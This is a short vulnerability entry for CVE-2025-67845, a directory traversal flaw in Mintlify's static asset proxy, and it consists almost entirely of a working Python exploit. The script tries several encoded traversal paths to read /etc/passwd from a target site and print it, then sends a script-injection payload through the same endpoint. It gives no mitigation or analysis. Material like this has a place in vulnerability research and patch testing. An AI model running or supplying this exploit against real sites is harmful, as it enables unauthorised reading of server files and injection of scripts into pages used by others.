CVE-2025-67845 | Mintlify 静态资源代理端点目录遍历漏洞

import requests # CVE-2025-67845 PoC - Directory Traversal in Mintlify Static Asset Proxy # Target: Mintlify Platform < 2025-11-15 def exploit_directory_traversal(target_url): """ Exploit directory traversal vulnerability to read sensitive files """ # Path traversal payload to read /etc/passwd traversal_payloads = [ '/api/_static/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd', '/api/_static/..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd', '/_static/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd' ] for payload in traversal_payloads: try: url = target_url.rstrip('/') + payload response = requests.get(url, timeout=10) if response.status_code == 200 and 'root:' in response.text: print(f'[+] Success! File content:\n{response.text}') return response.text except requests.RequestException as e: print(f'[-] Request failed: {e}') return None # XSS injection via path traversal def exploit_xss_injection(target_url): """ Inject malicious script via path traversal """ xss_payload = '/api/_static/..%2f..%2f<script>alert("XSS-CVE-2025-67845")</script>' url = target_url.rstrip('/') + xss_payload try: response = requests.get(url, timeout=10) print(f'[+] XSS payload sent to {url}') return True except requests.RequestException as e: print(f'[-] Request failed: {e}') return False if __name__ == '__main__': target = 'https://vulnerable-mintlify-site.com' print('[*] CVE-2025-67845 Exploitation Test') print('[*] Target:', target) exploit_directory_traversal(target) exploit_xss_injection(target)